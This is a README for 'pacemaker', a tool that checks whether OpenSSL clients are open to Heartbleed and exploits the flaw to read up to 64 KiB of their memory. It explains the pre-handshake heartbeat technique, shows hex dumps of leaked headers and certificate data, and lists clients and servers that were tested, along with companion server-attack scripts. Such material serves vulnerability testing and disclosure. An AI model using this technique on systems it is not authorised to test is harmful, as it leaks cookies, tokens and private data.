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Pacemaker

Attempts to abuse OpenSSL clients that are vulnerable to Heartbleed (CVE-2014-0160). Compatible with Python 2 and 3.

Am I vulnerable?

Run the server:

python pacemaker.py

In your client, open https://localhost:4433/ (replace the hostname if needed). For example:

curl https://localhost:4433/

The client will always fail to connect:

curl: (35) Unknown SSL protocol error in connection to localhost:4433

If you are not vulnerable, the server outputs something like:

Connection from: 127.0.0.1:40736
Possibly not vulnerable

If you are vulnerable, you will see something like:

Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  ...@....-..R4.m.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............

Subsequent lines full of NUL bytes are folded into one with an * thereafter (like the xxd tool).

An example where more "interesting" memory gets leaked using wget -O /dev/null https://google.com https://localhost:4433:

Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  ...@....-..R4.m.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........

How does it work?

TLS heartbeats can be sent by either side of a TLS connection. After the handshake completes, these heartbeats are encrypted. But apparently OpenSSL allows heartbeat messages before the handshake is completed. These heartbeats (on top of the record layer) are not encrypted at all!

This makes it very easy to exploit the bug on clients:

  1. Wait for a ClientHello containing a TLS version and cipher suite.
  2. Send a ServerHello containing the same TLS version and cipher suite (to prevent handshake failure).
  3. At this point, the server can send as many heartbeat requests as it likes.

Note that there is no need for any certificates as the heartbeats are accepted before any certificate or encryption keys are exchanged. As the length of the heartbeat requests are unchecked, up to 64 kiB memory can be read from client memory.

pacemaker performs the above steps and assumes a client not to be vulnerable if step 3 results in data other than Alerts. If needed for some protocols (SMTP with STARTTLS for example), additional data is exchanged before the TLS handshake starts.

Advanced usage

Run ./pacemaker.py -h for more options. The most important options are probably -t (--timeout) and -x (--count). The default timeout is 3 seconds which should be enough for most clients to respond (unless there is a satellite link or something).

Example to be more patient per heartbeat (5 seconds) and acquire four heartbeat responses:

./pacemaker.py -t 5 -x 4

In theory, the heartbeats can take twenty seconds now, but in practice you will get responses much faster.

Tested clients

The following clients have been tested against OpenSSL 1.0.1f on Arch Linux and leaked memory before the handshake:

  • MariaDB 5.5.36
  • wget 1.15 (leaks memory of earlier connections and own state)
  • curl 7.36.0 (https, FTP/IMAP/POP3/SMTP with --ftp-ssl)
  • git 1.9.1 (tested clone / push, leaks not much)
  • nginx 1.4.7 (in proxy mode, leaks memory of previous requests)
  • links 2.8 (leaks contents of previous visits!)
  • KDE 4.12.4 (kioclient, Dolphin, tested https and ftps with kde4-ftps-kio)
  • Exim 4.82 (outgoing SMTP)

links is a great example that demonstrates the effect of this bug on clients. It is a text-based browser that leaks details including headers (cookies, authorization tokens) and page contents.

License

pacemaker is licensed under the MIT license. See the LICENSE file for more details.

heartbleed.py

This is an implementation that uses pacemaker for crafting packets. It has the caveat that repeated requests need to establish a new connection for every attempt because the server immediately resets the connection after the first heartbeat response.

The caveat is a limitation resulting from the taken approach, if the handshake would be completed by the client too, then many encrypted handshakes can be sent without connection failures.

heartbleed.py is part of pacemaker, so falls under the same license terms.

Tested servers

The following servers have been tested against OpenSSL 1.0.1f on Arch Linux (unless stated otherwise):

  • openssl s_server (HTTPS)
  • nginx 1.4.7 (HTTPS)
  • Dovecot 2.2.11 (IMAP / POP3)
  • proftpd 1.3.4a-5+deb7u1 (explicit FTP)
  • Exim 4.82 (SMTP)

ssltest.py

This repository also contains a working version that targets servers. ssltest.py was created by Jared Stafford (jspenguin@jspenguin.org), all due credits are to him! It was retrieved from http://s3.jspenguin.org/ssltest.py.

At the moment, the script is only compatible with Python 2.